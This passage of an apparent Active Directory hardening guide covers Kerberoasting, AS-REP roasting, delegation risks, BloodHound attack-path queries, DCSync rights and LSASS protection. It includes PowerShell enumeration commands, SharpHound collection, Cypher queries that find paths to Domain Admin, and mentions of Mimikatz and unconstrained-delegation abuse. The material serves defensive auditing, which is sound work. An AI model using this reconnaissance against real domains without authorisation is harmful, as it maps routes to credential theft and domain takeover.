&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Get-ADGroupMember&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Enterprise Admins&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Get-ADGroupMember&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Schema Admins&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Protected Users group (starting with Windows Server 2012 R2) offers additional protection: Members use only Kerberos (no NTLM, no CredSSP, no Digest), only AES encryption, and no credential caching on endpoints. DA, EA, and Schema Admins must be members of this group. Important: Test before adding them, as legacy apps may break.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Get-ADGroupMember&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Protected Users&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;phase-3-kerberoasting-attack-surface&quot;&gt;Phase 3: Kerberoasting Attack Surface&lt;/h2&gt;
&lt;p&gt;Kerberoasting enables the offline cracking of service account passwords. How it works: Any authenticated domain user can query SPNs (Service Principal Names). An SPN identifies an account as a service account. The Kerberos service ticket (TGS) is encrypted with the service account hash and can then be cracked offline.&lt;/p&gt;
&lt;p&gt;Kerberoastable accounts are identified using the following PowerShell command:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Get-ADUser&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Filter {ServicePrincipalName &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-ne&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -and&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Enabled &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-eq&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; $true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Properties ServicePrincipalName&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; PasswordLastSet&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; AdminCount &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Select-Object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; SamAccountName&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ServicePrincipalName&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; PasswordLastSet&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; AdminCount&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Critical findings during the analysis:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Service accounts with &lt;code&gt;AdminCount=1&lt;/code&gt; (privileged and Kerberoastable = most critical combination)&lt;/li&gt;
&lt;li&gt;Service accounts with passwords older than 1 year&lt;/li&gt;
&lt;li&gt;Service accounts that are members of the Domain Admins group&lt;/li&gt;
&lt;li&gt;SPNs on user accounts instead of computer accounts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As a countermeasure, all Kerberoastable accounts should be assigned passwords with more than 25 random characters. Even better are Group Managed Service Accounts (gMSA): Windows automatically manages the password with 240 characters and rotates it every 30 days. Since no one knows the password, Kerberoasting is practically impossible.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;New-ADServiceAccount&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Name &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;svc-webapp&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;DNSHostName &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;app.company.com&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;PrincipalsAllowedToRetrieveManagedPassword &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Server-Group&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For AS-REP Roasting, the following applies: Accounts with the &quot;Kerberos pre-authentication not required&quot; flag set can be attacked without a valid password. This flag is almost always misconfigured and should be set to &lt;code&gt;$false&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Get-ADUser&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Filter {DoesNotRequirePreAuth &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-eq&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; $true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Select-Object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; SamAccountName&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; DistinguishedName&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;phase-4-kerberos-delegation-risks&quot;&gt;Phase 4: Kerberos Delegation Risks&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Unconstrained Delegation&lt;/strong&gt; is the most critical delegation scenario: The account can impersonate any user on any service. The attack works by forcing a domain controller to authenticate against a server with unconstrained delegation, thereby allowing the DA hash to be obtained.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Get-ADComputer&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Filter {TrustedForDelegation &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-eq&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; $true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Properties &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Select-Object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Name&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TrustedForDelegation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Get-ADUser&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Filter {TrustedForDelegation &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-eq&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; $true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Properties &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Select-Object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Name&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TrustedForDelegation&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The expected result: Domain controllers only. Any other result is a critical finding.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Constrained Delegation&lt;/strong&gt; (medium risk): The account is only allowed to impersonate a user for specific services. If the account is compromised, all permitted services are compromised.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Get-ADUser&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Filter {msDS&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;AllowedToDelegateTo &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-ne&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Properties &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#x27;msDS-AllowedToDelegateTo&amp;amp;#x27; |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Select-Object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Name&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&amp;amp;&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#x27;msDS-AllowedToDelegateTo&amp;amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each account found should be reviewed to determine whether the permission is actually necessary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Resource-Based Constrained Delegation (RBCD):&lt;/strong&gt; In the newer RBCD model, the target resource determines who is allowed to delegate. An attack using GenericWrite permissions on a computer object enables an RBCD attack. BloodHound finds these paths using the query &quot;Principals with GenericWrite to computers&quot;.&lt;/p&gt;
&lt;h2 id=&quot;phase-5-bloodhound-analysis&quot;&gt;Phase 5: BloodHound Analysis&lt;/h2&gt;
&lt;p&gt;BloodHound (Community Edition) is launched via Docker and is accessible at &lt;a href=&quot;http://localhost:8080&quot;&gt;http://localhost:8080&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; https://github.com/SpecterOps/BloodHound&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;docker&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; compose&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; up&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SharpHound collects data from Active Directory:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;\&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;SharpHound.exe&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; All&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; firma.de&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The most important BloodHound Cypher queries:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Shortest Paths to Domain Admin&lt;/strong&gt; shows how many hops a compromised user needs to reach the Domain Admin:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;MATCH&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; p&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;shortestPath((n:User &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;TESTUSER@FIRMA.DE&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;*1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(m:Group &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;DOMAIN ADMINS@FIRMA.DE&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;RETURN&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; p&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Users with DCSync Rights&lt;/strong&gt; lists all accounts that can run DCSync and thus extract all password hashes:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;MATCH&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (n1)&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;[:&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;MemberOf&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;GetChanges&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;*1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(u:Domain) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;RETURN&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; n1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;MATCH&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (n1)&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;[:&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;MemberOf&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;GetChangesAll&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;*1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(u:Domain) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;RETURN&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; n1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Kerberoastable Admins&lt;/strong&gt; - a Kerberoastable account that is also a Domain Administrator (DA) is the most critical finding possible:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;MATCH&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (u:User &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;hasspn&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;[:&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;MemberOf&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;*1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(g:Group &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;DOMAIN ADMINS@FIRMA.DE&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;RETURN&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; u&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Computers with Unconstrained Delegation (outside DCs):&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;MATCH&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (c:Computer &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;unconstraineddelegation&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; c.name &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;DC01.FIRMA.DE&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; RETURN&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The standard queries in BloodHound (&quot;Find all Domain Admins&quot;, &quot;Shortest Paths to Domain Admins from Owned Principals&quot;, &quot;Find Principals with DCSync Rights&quot;, &quot;Find Computers where Domain Users are Local Admin&quot;) cover the most important attack vectors.&lt;/p&gt;
&lt;h2 id=&quot;phase-6-credential-theft-prevention&quot;&gt;Phase 6: Credential Theft Prevention&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Credential Guard&lt;/strong&gt; isolates LSASS in a separate process via Hyper-V, causing Mimikatz attacks (&lt;code&gt;lsadump::lsa&lt;/code&gt;) to fail. Prerequisites are UEFI Secure Boot and Virtualization-based Security.&lt;/p&gt;
&lt;p&gt;GPO path: Computer Configuration → Administrative Templates → System → Device Guard&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Turn on Virtualization Based Security&quot;: Enabled&lt;/li&gt;
&lt;li&gt;Platform Security Level: Secure Boot and DMA Protection&lt;/li&gt;
&lt;li&gt;Credential Guard Configuration: Enabled with UEFI lock&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;PPL (Protected Process Light)&lt;/strong&gt; protects LSASS at the kernel level:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Registry: &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Alternatively via GPO: Security Options → Run LSASS as a protected process&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Disable WDigest:&lt;/strong&gt; WDigest stores plaintext passwords in LSASS and should be disabled in all modern environments:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Restrict NTLM:&lt;/strong&gt; NTLM enables pass-the-hash attacks. Before restricting it, an audit should be performed to determine which systems still use NTLM:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Get-WinEvent&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;LogName &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Microsoft-Windows-NTLM/Operational&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Where-Object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;$_&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.Id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-eq&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 8004&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Select-Object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TimeCreated&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; @&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{N&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;WorkstationName&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;E&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;$_&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.Properties[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;].Value}}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                @&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{N&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;TargetName&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;E&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;$_&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.Properties[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;].Value}}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
